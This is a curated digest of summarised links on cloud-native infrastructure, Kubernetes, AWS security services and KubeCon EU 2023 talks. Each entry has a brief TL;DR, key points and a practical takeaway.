  • Exploring Firecracker MicroVMs for Multi-Tenant Dagger CI/CD Pipelines
    summary

    TL;DR: Felipe Cruz (May 25, 2023) tests running Dagger CI/CD pipelines inside Firecracker microVMs, so each tenant’s containers run under their own kernel. He documents the setup and the problems he hit.

    • Host: Firecracker needs KVM; he used a DigitalOcean Debian 11 droplet (2 vCPU, 4 GB, $24/mo) with nested virtualization, and notes a Hetzner bare-metal option.
    • Kernel problem: The stock Firecracker guest kernel lacked modules such as nftables (iptables: Failed to initialize nft), so he built a custom kernel and rootfs.
    • Launch: Firecracker v1.3.2 via a Go launcher using the Firecracker Go SDK, with 1 vCPU, 1024 MB RAM and a static IP in kernel args.
    • Runtime: containerd, runc and CNI plugins in the rootfs; systemctl enable --now containerd on first boot.
    • Dagger engine: registry.dagger.io/engine:v0.5.1 run with nerdctl --privileged, gRPC on tcp://0.0.0.0:1234, cache in /var/lib/dagger.
    • Test: A Go SDK pipeline runs go version in golang:1.19 against the remote engine.

    Takeaway: Shows that microVM isolation for multi-tenant CI is feasible but needs custom kernel work. The Dagger engine still runs privileged inside the VM, so the VM is the security boundary.

  • Understanding Networking in Kubernetes
    summary

    TL;DR: Peter Jausovec (Learn Cloud Native, May 31, 2023) explains Kubernetes networking: how CNI wires pods together and how kube-proxy programs iptables to route Service traffic. Examples are traced on a kind cluster.

    • Four problems: Container-to-container (shared network namespace, localhost), pod-to-pod, pod-to-service, and external-to-service.
    • Pod-to-pod: Each node gets a pod CIDR; veth pairs connect pod namespaces to the node.
    • CNI: Kubernetes ships no default CNI plugin; managed offerings preconfigure one.
    • Tracing: iptables -L -t nat inside a kind node: PREROUTING to KUBE-SERVICES to KUBE-SVC-* per Service to KUBE-SEP-* per endpoint.
    • Load balancing: statistic mode random probability rules (0.25, 0.33, 0.5, …) spread traffic evenly across endpoints.
    • Modes: Compares iptables and IPVS mode.

    Takeaway: Dumping the nat table on a node is the fastest way to understand or debug Service routing. Do it once on a test cluster.

  • Amazon Security Lake Is Now Generally Available
    summary

    TL;DR: AWS Security Blog post by Ross Warren, Nisha Amthul and Jonathan Garzon (May 30, 2023) announcing general availability of Amazon Security Lake. It is a security data lake in your own account that normalizes logs to OCSF.

    • Sources: CloudTrail management events, VPC Flow Logs, Route 53 Resolver logs, Security Hub findings (GuardDuty, Inspector, IAM Access Analyzer) and 50+ partner sources, plus on-premises and other clouds.
    • Use cases: Investigations, compliance via rollup Regions, multi-year analysis with Athena, OpenSearch or SIEM/XDR tools, and hybrid queries such as CloudTrail joined with Azure audit logs in Athena.
    • Access control: Subscribers get scoped access to specific sources.
    • GA changes: OCSF 1.0 rc2; CloudTrail split into Authentication, Account Change and API Activity classes; automatic IAM role creation; CloudTrail S3 and Lambda data events collected separately.
    • Performance: S3 partitioning changed from hourly to daily.

    Takeaway: Worth considering if you are building a SIEM data layer on AWS. OCSF normalization saves parser work, but check ingestion and storage costs per source.

  • Updated Whitepaper Available: Architecting for PCI DSS Segmentation and Scoping on AWS
    summary

    TL;DR: AWS Security Blog notice by Ted Tanner, Avik Mukherjee and Joseph Okonkwo (June 1, 2023) that AWS republished its whitepaper on PCI DSS scoping and segmentation on AWS, updated for PCI DSS v4.0.

    • Topic: Defining segmentation boundaries between in-scope and out-of-scope resources using AWS services.
    • Audience: Engineers and solution builders, plus QSAs and ISAs who need to understand AWS segmentation controls.
    • Key point: Software-defined networking gives segmentation controls beyond network segmentation, which can shrink the cardholder data environment (CDE).
    • Basis: The PCI Council’s Information Supplement on scoping and network segmentation.
    • Updates: Refreshed AWS best practices and services, and v4.0 requirements.

    Takeaway: Read the whitepaper before designing a CDE on AWS. Account-level and service-level isolation can cut audit scope a lot.

  • Crash Course on Go Generics
    summary

    TL;DR: Jon Calhoun’s short tutorial on Go generics: type parameters, constraint interfaces, common misconceptions, and generic container types.

    • Basic syntax: func Sum[T int | int64 | float64](numbers []T) T replaces one function per type, code generation, or reflection.
    • Constraints: Name the union as type Number interface { int | int64 | float64 } and use [T Number].
    • Misconception 1: Generics do not allow mixed-type slices; []Number{1, 1.10} does not compile.
    • Misconception 2: A function cannot return one type or another at runtime; keep the (int, error) pattern.
    • Containers: Example SortedList[T Number] with AddValue and a copying Values(); marked as inefficient and for illustration only.
    • Playground: Each example links to the Go Playground.

    Takeaway: A clear first read on what Go generics do and do not do. Use them mainly for container types and numeric helpers.

  • flox: Command Line Tool That Helps You Manage Your Environments
    summary

    TL;DR: Flox is a Nix-based environment manager. One manifest declares a project’s tools, environment variables and services, giving reproducible, isolated environments from laptop to CI to production without writing Nix.

    • Quick start: flox init, flox install python3 nodejs, flox activate; the tools disappear again on exit.
    • Model: Declarative, reproducible, and composable (layer per project, team, pipeline).
    • Basis: Built on Nix and Nixpkgs; Nix knowledge is optional.
    • Positioning (current README): Now marketed as a “software environment platform” for teams, with cryptographically pinned environments, supply chain claims, and an AI-agent angle.
    • License: GPL v2.

    Takeaway: A gentler way to get Nix-style reproducible dev shells. Compare it with devbox or plain nix develop before standardizing on it.

  • seaweedfs: Fast Distributed Storage System for Blobs, Objects, Files, and Data Lake
    summary

    TL;DR: SeaweedFS, by Chris Lu, is a distributed storage system designed to store billions of files and serve them fast. A single weed binary provides an S3 object store, a POSIX filer and lakehouse tables over the same data.

    • Design goals: O(1) reads and writes, each blob one disk read away, capacity added by starting another volume server.
    • Quick start: weed mini -dir=./data with AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and S3_BUCKET gives an S3 endpoint on :8333.
    • All-in-one: That process also runs the master, a volume server, the filer, WebDAV, an Iceberg REST catalog and the Admin UI.
    • Features: S3 API compatibility, S3 Tables (Iceberg, Lance), caching or tiering of cloud storage, active-active replication.
    • Deploy: Binary, Docker, Docker Compose, or Helm on Kubernetes.
    • Comparisons: README compares it with HDFS, GlusterFS, Ceph, MooseFS, MinIO and RustFS.

    Takeaway: A strong self-hosted S3 or small-file store, now often named as a MinIO alternative. Turn on Admin auth or mTLS before binding it to a network.

  • How I Use OpenAI’s GPT-4 to Stay in Touch with My Mum More Consistently
    summary

    (Could not fetch full text.)

    TL;DR: A May 2023 Better Programming (Medium) article by Anna Geller describing a small automation: GPT-4 drafts a short, personal weekly check-in message to the author’s mum, which is then sent by SMS.

    • Generation: A GPT-4 prompt writes the check-in text; an OpenAI API key is required.
    • Delivery: The message is sent as SMS through AWS SNS.
    • Scheduling: Kestra runs the flow on Sundays.
    • Infrastructure: Managed as code with Terraform.
    • Source caveat: Medium blocked fetching (403 / Cloudflare). This summary is based only on a search engine summary of the article, so tool details are unverified.

    Takeaway: A toy but complete example of a scheduled LLM workflow: prompt, generate, deliver, all as code. Keep a human review step before anything is sent in your name.

  • EKS with IPv6 Pods
    summary

    TL;DR: An hour-long Containers from the Couch (AWS) livestream, published June 2023, on running Amazon EKS clusters with IPv6 pod networking.

    • Problem: Avoid IPv4 address exhaustion in VPCs as pod counts grow.
    • Topics: How IPv6 EKS clusters work and how pods talk to each other.
    • IPv4 interop: How IPv6 pods still reach IPv4-only endpoints.
    • Getting started: Walkthrough of creating and using an IPv6 cluster.
    • Length: About 60 minutes.
    • Source caveat: Based on the video’s short description and metadata; no transcript was reviewed.

    Takeaway: Worth watching before designing a new EKS VPC where pod IP space is tight. IPv6 mode must be chosen at cluster creation.

  • Optimizing Container Resources with KRR
    summary

    TL;DR: A Containers from the Couch (AWS) live webinar from May 31, 2023, with guest Natan Yellin of Robusta, on right-sizing container CPU and memory requests using KRR.

    • Tool: KRR (Kubernetes Resource Recommender), open source from Robusta at github.com/robusta-dev/krr.
    • Goal: Optimize container resource requests and limits from observed usage.
    • Format: Live webinar, about 60 minutes.
    • Source caveat: Based only on the short video description and metadata; details of the demo were not reviewed.

    Takeaway: If your requests are guesses, KRR is a lightweight way to get Prometheus-based recommendations. Review them before applying, especially for bursty workloads.

  • kubepug: Kubernetes PreUpGrade Checker
    summary

    TL;DR: KubePug (Deprecations), by Ricardo Katz, is a kubectl plugin and standalone CLI that checks a live cluster or manifest files for APIs that are deprecated or removed in a target Kubernetes version. It also tells you the replacement API.

    • Data: Downloads a generated data.json of API deprecations (default https://kubepug.xyz/data/data.json; can be local).
    • Targets: A running cluster via kubeconfig or context, or files via --input-file.
    • Output: Affected objects, the replacement API, and the version where the API was deprecated or deleted.
    • Install: kubectl krew install deprecations, release binaries, or snap.
    • Helm: helm template -f values.yaml . | kubepug --k8s-version v1.22.0 --input-file=-.
    • CI: --error-on-deleted (and the deprecated equivalent) returns exit code 1 so pipelines can fail.
    • Repo: The project now lives under the kubepug GitHub org.

    Takeaway: Add it as a CI gate on rendered manifests before each cluster upgrade, together with pluto or kubent.

  • gitops-playground: Reproducible Infrastructure to Showcase and Evaluate GitOps Operators on Kubernetes
    summary

    TL;DR: GitOps Playground, from Cloudogu, sets up a complete preconfigured GitOps platform on Kubernetes (local, cloud or air-gapped) so you can see GitOps in motion without assembling it yourself.

    • Deployment: Argo CD with a ready-made repository structure and promotion across environments.
    • Monitoring: Prometheus and Grafana, with notifications through an external mail server.
    • Secrets: Vault plus External Secrets Operator.
    • Pipelines: Jenkins with gitops-build-lib and SCM-Manager example apps.
    • Platform: Traefik ingress, cert-manager, and a Content Loader to push your own apps, repos and Argo CD tenants at install time.
    • Origin: Based on Cloudogu’s consulting, its internal developer platform, and its GitOps trainings.
    • Current README: Describes Argo CD as the GitOps operator; the repo title still says it showcases “GitOps operators” in general.

    Takeaway: A fast way to evaluate an Argo CD-based IDP stack end to end. Use it as a reference for repo layout and secrets wiring, not as production configuration.

  • All You Need to Know About Moving to containerd on Amazon EKS
    summary

    TL;DR: AWS Containers blog post by Arun Nalpet Ramakrishna, Chance Lee and Gowtham S (June 1, 2023) on moving EKS workloads from Docker Engine to containerd after dockershim was removed in Kubernetes 1.24.

    • Background: EKS AMIs for 1.24+ ship containerd as the only runtime; earlier AMIs defaulted to Docker. The CRI made the dockershim unnecessary.
    • Breaking dependency: Pods that mount /var/run/docker.sock (metrics collectors, security agents, CI builders) stop working, since containerd uses a different API.
    • Detection: kubectl-detector-for-docker-socket (DDS) finds workloads that mount the Docker socket.
    • Image builds: Replace Docker-socket builds with Kaniko or BuildKit pods; docker:dind works but needs elevated privileges.
    • Node tooling: ctr (preinstalled, low-level), nerdctl (docker-like), crictl (CRI debugging); containerd namespaces differ from Kubernetes namespaces (k8s.io).
    • Reference: Links the Kubernetes Docker CLI to crictl mapping.

    Takeaway: Before upgrading past 1.23, run DDS across clusters and move image builds to Kaniko or BuildKit.

  • AWS Fault Injection Simulator Adds New Actions for Amazon EKS and Amazon ECS
    summary

    TL;DR: AWS announcement (June 1, 2023) that AWS Fault Injection Simulator (FIS) gained new chaos actions for EKS pods and ECS tasks.

    • Faults: CPU, memory and IO stress, network blackhole, network latency, packet loss, kill process, and delete EKS pod.
    • Targeting: Pods or tasks of a specific application or in a specific Availability Zone.
    • Agents: EKS actions are agentless; ECS actions use the SSM agent.
    • Availability: All Regions where FIS runs, including GovCloud (US).
    • Start: FIS console, plus the EKS and ECS action docs.

    Takeaway: A managed option for AZ-failure and latency game days on containers, without running Chaos Mesh or Litmus yourself. Scope experiments with stop conditions.

  • Amazon ECR Adds registry.k8s.io as a Supported Upstream for Pull Through Cache Repositories
    summary

    TL;DR: AWS announcement (June 1, 2023) that Amazon ECR pull through cache now supports registry.k8s.io as an upstream, so Kubernetes project images can be mirrored into private ECR automatically.

    • Context: Starting with Kubernetes 1.25, the project moved to the community-owned registry.k8s.io; from 1.27, releases are published only there, with a redirect from the old registry.
    • Guidance: The Kubernetes project recommends mirroring release images into your own registry where possible.
    • Setup: One pull through cache rule maps the upstream to a namespace in your ECR registry; ECR keeps images in sync.
    • Scope: Only unauthenticated public upstreams; all commercial AWS Regions.

    Takeaway: Mirror registry.k8s.io into ECR for EKS add-ons and core images to avoid upstream rate limits and outages.

  • AWS Introduces Container Image Signing
    summary

    TL;DR: AWS announcement (June 6, 2023) of container image signing with AWS Signer and Amazon ECR, so that only approved images get deployed to EKS.

    • Flow: Create a Signer signing profile, then sign images in ECR with client-side tools.
    • Managed parts: Signer manages keys, rotates code-signing certificates, keeps audit logs, and stores signatures next to images.
    • Enforcement: Use admission controllers such as Gatekeeper or Kyverno, or your own tooling, to verify before deploy.
    • Timing: Sign during development or deployment.
    • Cost: No additional charge for Signer.

    Takeaway: A managed alternative to running cosign keys yourself, if you stay in AWS. Signing is only useful once an admission policy enforces verification.

  • Practical Dependency Management for Developers
    summary

    TL;DR: Matt Rickard (June 2, 2023) gives short, practical rules for managing software dependencies, based on his work on large projects, CI/CD and build tools.

    • Pin versions: Unpinned packages cause “works locally, fails in CI” bugs and failures when caches expire; for Docker images and git, pin to digest or commit SHA.
    • Separate PRs: Put package file updates in their own pull requests for easier review.
    • Lock files over vendoring: Commit package-lock.json or go.sum; if you must vendor, verify in CI that vendored code matches a reproducible build from the lock file.
    • Add dependencies carefully: “A little copying is often better than a little dependency.”
    • Do not over-modularize: Packages that always change together belong in one repo, to avoid diamond dependencies and cascading releases.
    • Update often: Amortize upgrade cost; pin dependencies inside Dockerfiles too.

    Takeaway: A compact checklist to share with a team. Digest pinning and lock-file verification are the parts that also improve supply chain security.

  • sensitive-data-protection-on-aws: Discover, Protect, and Visualize Sensitive Data Across AWS Accounts
    summary

    TL;DR: Sensitive Data Protection on AWS is an AWS Labs solution (CDK, TypeScript) with a self-service web app that catalogs, discovers and visualizes sensitive data such as PII across multiple AWS accounts.

    • Discovery: Regular or on-demand scan jobs using your own data classification templates and identifiers; no manual tagging needed.
    • Metrics: Total sensitive entries, which accounts hold the most, and where the data lives.
    • Architecture: AWS Glue crawls catalogs and runs PII detection jobs in each monitored account; a central admin account holds the combined catalog.
    • App stack: ALB in front of Lambda (container images in ECR) for UI and backend, an identity provider for auth, Step Functions orchestrating jobs in monitored accounts.
    • Deploy: CloudFormation template (about 20 minutes per the README) or build the CDK project; Apache-2.0.

    Takeaway: An open alternative to Macie-style discovery for Glue-catalogued data stores across accounts. Compare its Glue job costs with Macie before adopting.

  • Updated AWS Ramp-Up Guide Available for Security, Identity, and Compliance
    summary

    TL;DR: AWS Security Blog post by Anna McAbee and Conor Colgan (June 6, 2023) on the refreshed AWS Ramp-Up Guide: Security, a learning path from cloud foundations to the AWS Certified Security - Specialty exam.

    • Training focus: Built mainly on AWS Skill Builder digital courses and self-paced labs.
    • Focus areas: Separate tracks for roles such as threat detection and incident response, compliance and data protection; for example, SOC analysts can follow the TD/IR track.
    • Extra resources: Whitepapers, blog posts, re:Invent videos and workshops for each area.
    • Scope of update: Most of the guide was rewritten based on customer feedback and new services.

    Takeaway: A free, structured curriculum for onboarding engineers to AWS security. Pick the track that matches the role instead of going through all of it.

  • Announcing Container Image Signing with AWS Signer and Amazon EKS
    summary

    TL;DR: AWS Containers blog post by Jimmy Ray and Jesse Butler (June 6, 2023) walking through signing ECR images with the Notation CLI and AWS Signer, and enforcing signature checks in EKS with Kyverno.

    • Signing: Install the Notation CLI with the AWS Signer plugin and root certificate (Notation 1.0.0-rc.7 at the time); keys and certificates live in Signer signing profiles.
    • Standard: Notation is part of the CNCF Notary project; signatures are stored next to images in ECR.
    • Verification: The kyverno-notation-aws project: install cert-manager, Kyverno, and kyverno-notation-aws, then apply Notation TrustPolicy and TrustStore CRDs.
    • Enforcement: A Kyverno policy calls the Notation verifier at admission and blocks unsigned or untrusted images.
    • Scope: Also works with self-managed Kubernetes on AWS.

    Takeaway: A full recipe for signature enforcement on EKS. Start Kyverno in audit mode, and make sure system images are signed or excluded before you enforce.

19.05.2023

  • KubeCon 2023 EU: Playlist
    summary

    TL;DR: The CNCF YouTube playlist of recorded sessions from KubeCon + CloudNativeCon Europe 2023 in Amsterdam. It has 314 videos, covering keynotes, project updates and breakout talks.

    • Size: 314 videos.
    • Keynotes: Opening by Priyanka Sharma and Chris Aniszczyk, Taylor Dolezal, an EU end-user panel, sustainable computing keynotes, and Dawn Foster on contributor sustainability.
    • Project updates: CNCF graduated and incubating project updates, Kubernetes project updates.
    • Breakouts in this archive: Kubernetes hacking (OWASP K8s Top 10), buildpacks, edge federation, GitOps at Adobe, SIG Scalability, node resource management, and eBPF versus sidecar meshes.
    • Format: Keynotes of a few minutes up to 30-40 minute sessions.

    Takeaway: Search the playlist by topic instead of browsing it. Pair it with talks.container-security.site for the security sessions.

  • KubeCon 2023 EU: The Hacker’s Guide to Kubernetes
    summary

    TL;DR: KubeCon EU 2023 talk by Patrycja Wegrzynowicz (Form3), about 34 minutes. Live demos exploit Kubernetes misconfigurations from the OWASP Kubernetes Top 10 until user accounts in a sample web app are hijacked.

    • Framework: Structured around the OWASP Kubernetes Top 10.
    • Attack surface: Attacks on containers, pods, network, and Kubernetes components.
    • Demo goal: Chain vulnerabilities and misconfigurations up to account takeover in an example application.
    • Defence: Covers common mistakes and hardening best practices for each step.
    • Source caveat: Based on the talk abstract and video metadata.

    Takeaway: A good attacker-view session to show developers why pod security and network policies matter. Map each demo to a control you already have.

  • KubeCon 2023 EU: Customizing Your Buildpacks Build
    summary

    TL;DR: KubeCon EU 2023 talk by Natalie Arellano (VMware) and Aidan Delaney (Bloomberg) on customizing Cloud Native Buildpacks builds beyond the default pack build.

    • For developers: Inline buildpacks and build-time environment variables.
    • For platform operators: Base image extension with Dockerfiles.
    • Governance: How to control how much customization is allowed, to meet security requirements.
    • Audience: Buildpacks users, and teams who thought their workflow ruled buildpacks out.
    • Source caveat: Based on the talk abstract.

    Takeaway: If buildpacks seemed too rigid, the Dockerfile-based extension points remove most blockers while keeping a governed base image.

  • KubeCon 2023 EU: Taming Tactical Cluster Federation at the Edge
    summary

    TL;DR: KubeCon EU 2023 talk by Anna Magdalena Kosek (TNO) and Stefan van Gastel (Dutch Ministry of Defence) on federating Kubernetes clusters at the tactical edge, where clusters move, have unstable links and join or leave at any time.

    • Problem: Federation with unstable networks, varied resources, and stateful apps on clusters that leave.
    • Federation: Liqo for distributed cluster federation.
    • Scheduling: Telemetry Aware Scheduler (TAS) combined with OLSR routing for network-aware placement.
    • Testing: Chaos Mesh to simulate network effects.
    • Concept: A tactical cloud where manned or unmanned vehicles form ad-hoc cloud groups.
    • Source caveat: Based on the talk abstract.

    Takeaway: A useful reference if you run Kubernetes on intermittent links. Liqo plus network-aware scheduling is the stack to evaluate.

  • KubeCon 2023 EU: GitOps at Adobe
    summary

    TL;DR: KubeCon EU 2023 talk “Tips from the Trenches: GitOps at Adobe” by Larisa Andreea Danaila and Ionut-Maxim Margelatu. It covers Adobe’s 2022 move from Spinnaker to Argo-based GitOps deployment pipelines.

    • Migration: Replaced Spinnaker and rebuilt deployment pipelines from scratch on the Argo projects.
    • Challenges: Promoting code across environments, automated rollbacks, deployment validation with functional tests.
    • Scale: Refactored pipelines to serve more apps, with patterns for web, streaming and batch services.
    • Practices: Testing infrastructure changes, removing duplicate manifests, auditing, deployment visibility.
    • Constraint: Had to meet strict organisational CI/CD standards.
    • Source caveat: Based on the talk abstract.

    Takeaway: Useful when planning a Spinnaker to Argo migration. Promotion and rollback are the parts to design up front.

  • KubeCon 2023 EU: Building a Successful Business in Cloud Native
    summary

    TL;DR: KubeCon EU 2023 panel with Liz Rice (Isovalent), Guillermo Rauch (Vercel), Kelsey Hightower (Google), Sheng Liang (Acorn Labs) and Tom Manville (Kasten by Veeam) on how start-ups and small vendors can succeed in the cloud native ecosystem.

    • Questions covered: How contributing to open source helps a business; making products appeal to an open-source community; how this market differs from traditional ones.
    • Format: Panel of practitioners and founders sharing what worked and what did not.
    • Audience: Founders, vendor staff, and maintainers thinking about commercialisation.
    • Source caveat: Based on the panel abstract.

    Takeaway: Not technical, but useful context for judging vendor-backed open-source projects you depend on.

  • KubeCon 2023 EU: Intro + Deep Dive: Kubernetes SIG Scalability
    summary

    TL;DR: KubeCon EU 2023 intro and deep dive on Kubernetes SIG Scalability by Wojciech Tyczynski (Google).

    • Scope: Defining what scalability means for Kubernetes (SLIs and SLOs).
    • Work: Driving performance improvements and maintaining scalability-testing infrastructure.
    • Guardrails: Catching performance regressions before release.
    • Cross-SIG: Many improvements are driven by SIG Scalability but owned by other SIGs.
    • Q&A: Includes community input on the roadmap.
    • Source caveat: Based on the session abstract.

    Takeaway: Watch it to understand where the official Kubernetes scalability limits come from before planning very large clusters.

  • KubeCon 2023 EU: Archetypes for Reliable Systems
    summary

    TL;DR: KubeCon EU 2023 talk by Steve McGhee and Ameer Abbas (Google) on turning reliability targets into Kubernetes deployment patterns. It is based on the paper “Deployment Archetypes for Cloud Applications” (Berenberg, Calder, 2022).

    • Model: Teams state availability, failure-domain resilience and RTO/RPO needs, and get a matching deployment archetype.
    • Implementation: Multi-tenant, multi-application, multi-cluster Kubernetes setup.
    • Included: CI/CD, micro-segmentation, policy management, traffic routing, SLOs, and app and infrastructure monitoring.
    • Ownership: App teams own their services while infra teams update the platform without interrupting them.
    • Source caveat: Based on the talk abstract.

    Takeaway: A useful framework for platform teams: offer a few reliability archetypes, not bespoke designs. Read the paper for the archetype definitions.

  • KubeCon 2023 EU: Node Resource Management: The Big Picture
    summary

    TL;DR: KubeCon EU 2023 overview by Sascha Grunert and Swati Sehgal (Red Hat), Alexander Kanevskiy (Intel), Evan Lezar (NVIDIA) and David Porter (Google) of the many proposals for improving Kubernetes node resource management.

    • Scope: Reserving, allocating and isolating CPU, memory, disk, network and accelerators on nodes.
    • Proposals covered: Dynamic Resource Allocation, QoS class resources, CPU management improvements, container lifecycle and stats changes.
    • Runtimes: CRI support for Kata Containers, Firecracker, gVisor and Confidential Containers.
    • Goal: Show how the efforts connect, which problems they solve, and what they mean for users.
    • Community: How to get involved in SIG Node and runtime work.
    • Source caveat: Based on the talk abstract.

    Takeaway: Good orientation for anyone running GPU or latency-sensitive workloads, since DRA and CPU manager changes affect how you schedule them.

  • KubeCon 2023 EU: How to Blow Up a Kubernetes Cluster
    summary

    TL;DR: KubeCon EU 2023 talk by Felix Hoffmann (iteratec) on how setting resource limits without understanding them broke a whole cluster, and what requests and limits actually do.

    • Story: Adding limits to memory-hungry pods left half the pods crash-looping and the rest stuck in Pending.
    • Basics: Requests are a lower bound used for scheduling; limits are an upper bound enforced at runtime.
    • Scarcity: What happens when demand exceeds supply: how requests affect scheduling and which pods get terminated first.
    • Audience: Kubernetes newcomers handed an existing cluster.
    • Source caveat: Based on the talk abstract.

    Takeaway: Set requests from measured usage before adding limits, and understand QoS classes and eviction order first.

  • KubeCon 2023 EU: Life Without Sidecars: Is eBPF’s Promise Too Good to Be True?
    summary

    TL;DR: KubeCon EU 2023 talk by Zahari Dichev (Buoyant, Linkerd) on whether eBPF can really replace sidecar proxies in a service mesh.

    • Question: Can eBPF deliver mesh benefits at a fraction of the performance and operational cost?
    • Exploration: What is and is not possible in an eBPF-powered mesh.
    • Concerns: Whether proxies really go away, and what that means for security, resilience and operational complexity.
    • Perspective: From a sidecar-based mesh vendor, so expect a sceptical view.
    • Source caveat: Based on the talk abstract.

    Takeaway: Useful balance to eBPF mesh marketing. Check where L7 processing and mTLS actually happen in any “sidecarless” design.

  • network-mapper: Map Kubernetes In-Cluster Traffic and Export as Text, Intents, or an Image
    summary

    TL;DR: Otterize network mapper is a zero-config Kubernetes tool that maps pod-to-pod, pod-to-Internet and AWS IAM traffic without a new CNI or service mesh, and exports the map as text, JSON/YAML, intents or an image.

    • Install: helm install network-mapper otterize/network-mapper -n otterize-system --create-namespace.
    • CLI: otterize network-mapper list, visualize, export to JSON/YAML, and reset.
    • Components: A per-cluster mapper; a node sniffer DaemonSet that captures DNS responses and inspects open TCP connections like netstat/ss; a Kafka watcher; an Istio watcher for HTTP paths.
    • Long-lived connections: Handled by polling open TCP connections, since DNS only shows new ones.
    • Limitation: The Istio watcher reports all HTTP traffic since the sidecar started, regardless of when it was seen.
    • Integration: Can feed Otterize Cloud’s access graph and Otterize intents-based access control.

    Takeaway: A quick way to find out what talks to what before writing NetworkPolicies. Use the exported map as the starting point for default-deny rules.

  • pwru: eBPF-Based Linux Kernel Networking Debugger
    summary

    TL;DR: pwru (“packet, where are you?”) is an eBPF-based tool from the Cilium project that traces network packets through Linux kernel functions, with pcap-style filtering, to show where packets get dropped or altered.

    • Use case: The README demo shows where a curl request’s packets are dropped after an iptables rule is added.
    • Kernel requirements: Kernel >= 5.3; --output-skb needs >= 5.9 and --backend=kprobe-multi needs >= 5.18. Needs CONFIG_DEBUG_INFO_BTF, CONFIG_KPROBES, CONFIG_BPF_SYSCALL and related options; check with zgrep $OPTION /proc/config.gz.
    • Filtering: Takes a pcap-filter expression plus flags such as --filter-func (RE2 on kernel function names), --filter-netns, --filter-mark, and --filter-track-skb to keep tracing a packet after NAT or tunnel decapsulation.
    • Extra tracing: Can trace TC and XDP BPF programs (--filter-trace-tc, --filter-trace-xdp), BPF helpers, and VXLAN/Geneve inner packets.
    • Output: Options such as --output-caller, --output-skb, and --output-file with 100 MB rotation by default.
    • Distribution: Statically linked x86_64 and arm64 binaries on the release page; debugfs at /sys/kernel/debug is optional.

    Takeaway: When a packet vanishes between interface and socket, pwru shows the exact kernel function where it died, which is faster than guessing at iptables, routing or eBPF policy.

  • Kubernetes Removals and Major Changes in v1.27
    summary

    TL;DR: A Kubernetes blog post by Harshita Sao (March 2023) listing the planned deprecations and removals for v1.27, plus the move of all image traffic from k8s.gcr.io to registry.k8s.io.

    • Registry redirect: From March 20, traffic to the old k8s.gcr.io registry is redirected to registry.k8s.io. v1.27 is not published to the old registry, and from April neither are patch releases for v1.24-v1.26.
    • API removal: storage.k8s.io/v1beta1 for CSIStorageCapacity is no longer served. Use storage.k8s.io/v1, available since v1.24.
    • Seccomp annotations: The alpha annotations seccomp.security.alpha.kubernetes.io/pod and container.seccomp.security.alpha.kubernetes.io are removed. Use securityContext.seccompProfile.
    • Feature gates: GA volume-expansion gates such as ExpandCSIVolumes and ExpandInUsePersistentVolumes are removed and must not appear in --feature-gates.
    • Policy recap: GA APIs cannot be removed within a major version, beta APIs get 3 releases after deprecation, alpha APIs can go at any time.
    • Page status: The page now carries a banner saying it is more than one year old and may be outdated.

    Takeaway: Before upgrading to 1.27, grep manifests and Helm charts for k8s.gcr.io, seccomp annotations and removed feature gates.

  • DevOps Threat Matrix
    summary

    TL;DR: Microsoft Defender for Cloud researchers published a MITRE ATT&CK-style threat matrix for DevOps environments (SCM, CI/CD, registries), mapping attacker tactics to techniques specific to pipelines.

    • Motivation: Cites SolarWinds Orion (malware pushed to possibly over 17,000 customers), the Codecov breach, and dependency confusion attacks on PyPI and npm.
    • Initial access: SCM authentication (PATs, SSH keys), CI/CD service authentication, public repositories with CI triggers on PRs, endpoint compromise, and configured webhooks reaching internal networks.
    • Execution: Poisoned pipeline execution in direct, indirect and public variants. Also dependency tampering (public dependency confusion, package hijack or “repo-jacking”, typosquatting), DevOps resource compromise, and control of a common registry.
    • Scope: Further tactics cover persistence, privilege escalation, credential access, lateral movement, defense evasion and impact, interpreted from a pipeline rather than an OS view.
    • Intended use: Categorize attacks and defenses, and work with red teams to test the assumptions.

    Takeaway: Use the matrix as a checklist to threat-model your own GitHub, Azure DevOps or GitLab setup, especially PR-triggered pipelines and how PATs are handled.

  • Spoofy: Check If Domains Can Be Spoofed Based on SPF and DMARC Records
    summary

    TL;DR: Spoofy is a Python tool by Matt Keeley that checks whether domains can be email-spoofed based on their SPF and DMARC records, using a manually tested spoofability table rather than guesswork.

    • Install: Needs Python 3.9+. Run pip3 install spoofy, then spoofy -d example.com, or spoofy -iL domains.txt -o xls for bulk checks.
    • Standards: RFC 7208 SPF evaluation and an RFC 9989 DMARC tree walk, including the sp/np tags for subdomains.
    • Lookups: A caching resolver with failover across 1.1.1.1, 8.8.8.8 and 9.9.9.9. Counts SPF DNS and void lookups and flags unregistered SPF include domains.
    • Verdict codes: Codes 0-9 range from “Spoofing possible” through mailbox-dependent and subdomain-only cases to “Spoofing is not possible” (8) and “DNS lookup failed” (9).
    • Options: Output to stdout, xls or json; -t sets threads (default 4); --dkim enumerates DKIM selectors through an API.
    • Repo status: The README now describes newer features than in 2023 (PyPI package, RFC 9989), so the project has kept evolving.

    Takeaway: Useful for pentest recon or for auditing your own domain portfolio. Run it against every domain you own, including parked ones, and fix p=none or missing sp.

  • automated-security-helper-pipeline: Automated Security Helper Pipeline Template
    summary

    TL;DR: An aws-samples CDK template that builds a CodePipeline/CodeCommit/CodeBuild pipeline to run AWS’s Automated Security Helper (ASH) scanner on every new commit.

    • Flow: New commits pushed to CodeCommit are scanned by ASH, the report goes to an S3 bucket, and a Security Hub alert fires if the scan fails.
    • Prerequisites: Security Hub configured and the AWS CDK installed.
    • Deploy: pip install -r requirements.txt, cdk bootstrap, then cdk deploy or cdk deploy --context repo_name=<name>.
    • License: Apache 2.0, copyright 2022.
    • Scope: A small sample; the scanning logic lives in the separate ASH project.

    Takeaway: A quick way to see ASH in CI on AWS-native tooling. Note that AWS has since closed CodeCommit to new customers, so the source stage may need adapting.

  • amazon-ec2-cloudwatch-alarms-sls: Centralized API for EC2 CloudWatch Alarms in Multi-Account AWS Organizations
    summary

    TL;DR: An aws-samples Serverless Framework project that exposes a central API to create and delete CloudWatch alarms for EC2 instances across accounts in an AWS Organization.

    • Metrics covered: CPUUtilization and StatusCheckFailed (AWS/EC2), plus custom metrics such as MemoryUtilization, SwapUtilization, DiskSpaceUtilization (System/Linux) and PartitionUtilization (System/Windows).
    • Notifications: Alarms publish to a per-account SNS topic. Per the README, these topics are created by “VPCx automation” and forward to an SQS queue in a central account.
    • Stack: Python Lambdas deployed with serverless deploy -s dev, using serverless-python-requirements and serverless-deployment-bucket.
    • Auth: An optional MS Active Directory OAuth module (utils.auth), configured in config/config.dev.json.
    • Tests: pytest unit tests and behave BDD integration tests.
